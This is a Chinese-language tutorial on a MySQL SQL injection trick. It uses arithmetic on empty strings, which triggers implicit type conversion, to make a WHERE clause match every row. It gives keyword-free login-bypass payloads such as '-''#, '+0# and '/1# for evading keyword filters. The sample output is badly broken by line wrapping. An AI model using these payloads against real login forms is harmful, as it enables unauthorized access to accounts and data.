使用MySQL字符串运算实施精巧化SQL注入攻击

我们先来看这样一个场景。有以下表结构:

    mysql
    >
     desc admin
    ;
    
    +----------+--------------+------+-----+---------+----------------+
    
    |
     
    Field
        
    |
     
    Type
             
    |
     
    Null
     
    |
     
    Key
     
    |
     
    Default
     
    |
     
    Extra
              
    |
    
    +----------+--------------+------+-----+---------+----------------+
    
    |
     id       
    |
     mediumint
    (
    9
    )
     
    |
     NO   
    |
     PRI 
    |
     NULL    
    |
     auto_increment 
    |
    
    |
     name     
    |
     
    char
    (
    32
    )
         
    |
     NO   
    |
     UNI 
    |
     NULL    
    |
                    
    |
    
    |
     password 
    |
     
    char
    (
    32
    )
         
    |
     NO   
    |
     UNI 
    |
     NULL    
    |
                    
    |
    
    +----------+--------------+------+-----+---------+----------------+
    
    3
     rows 
    in
     
    set
     
    (
    0.00
     sec
    )
  

执行select * from admin;,成功返回所有记录内容。

    +----+--------+----------------------------------+
    
    |
     id 
    |
     name   
    |
     password                         
    |
    
    +----+--------+----------------------------------+
    
    |
      
    1
     
    |
     admin  
    |
     c6dabaeeb05f2bf8690bab15e3afb022 
    |
    
    |
      
    2
     
    |
     pnig0s 
    |
     
    998976f44e2a668k5dc21e54b3401645
     
    |
    
    |
      
    4
     
    |
     n00b   
    |
     ff80e8508d39047460921792273533a4 
    |
    
    +----+--------+----------------------------------+
    
    3
     rows 
    in
     
    set
     
    (
    0.00
     sec
    )
  

执行select * from admin where name=”;,没有匹配到任何记录。

    mysql
    >
     
    select
     
    *
     
    from
     admin 
    where
     name 
    =
     
    ''
    ;   空格
    
    Empty
     
    set
     
    (
    0.00
     sec
    )
  

那么我们来执行select * from admin where name = ”-”;    0-0

    +----+--------+----------------------------------+
    
    |
     id 
    |
     name   
    |
     password                         
    |
    
    +----+--------+----------------------------------+
    
    |
      
    1
     
    |
     admin  
    |
     c6dabaeeb05f2bf8690bab15e3afb022 
    |
    
    |
      
    2
     
    |
     pnig0s 
    |
     
    998976f44e2a668k5dc21e54b3401645
     
    |
    
    |
      
    4
     
    |
     n00b   
    |
     ff80e8508d39047460921792273533a4 
    |
    
    +----+--------+----------------------------------+
    
    3
     rows 
    in
     
    set
    ,
     
    3
     warnings 
    (
    0.00
     sec
    )
  

可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:

    mysql
    >
     show warnings
    ;
    
    +---------+------+------------------------------------------
    
    |
     
    Level
       
    |
     
    Code
     
    |
     
    Message
    
    +---------+------+------------------------------------------
    
    |
     
    Warning
     
    |
     
    1292
     
    |
     
    Truncated
     incorrect DOUBLE value
    :
     
    'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: '
    pnig0s
    |
     
    Warning
     
    |
     
    1292
     
    |
     
    Truncated
     incorrect DOUBLE value
    :
     
    'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)
  

提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。

    mysql
    >
     
    select
     
    ''
    -
    ''
    ;
    
    +-------+
    
    |
     
    ''
    -
    ''
     
    |
    
    +-------+
    
    |
         
    0
     
    |
    
    +-------+
    
    1
     row 
    in
     
    set
     
    (
    0.00
     sec
    )
  

返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:

    mysql
    >
     
    select
     CAST
    ((
    select
     name 
    from
     admin limit 
    1
    ,
    1
    )
     
    as
     DECIMAL
    );
    
    +-----------------------------------------------------+
    
    |
     CAST
    ((
    select
     name 
    from
     admin limit 
    1
    ,
    1
    )
     
    as
     DECIMAL
    )
     
    |
    
    +-----------------------------------------------------+
    
    |
                                                       
    0
     
    |
    
    +-----------------------------------------------------+
    
    1
     row 
    in
     
    set
    ,
     
    1
     warning 
    (
    0.00
     sec
    )
  

因此where语句构成了相等的条件,where 0=”=”,记录被返回。

SQL注入场景: http://www.sqlzoo.net/hack/


如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。

那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。


仅仅在name子段输入’-”#,password留空,即可绕过登录验证。

 

除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。  再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可

    mysql> 
    select ''/1
    ;
+------+
| ''/1 |
+------+
|    0 |
+------+
1 row in set (0.00 sec)
  

类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 

利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。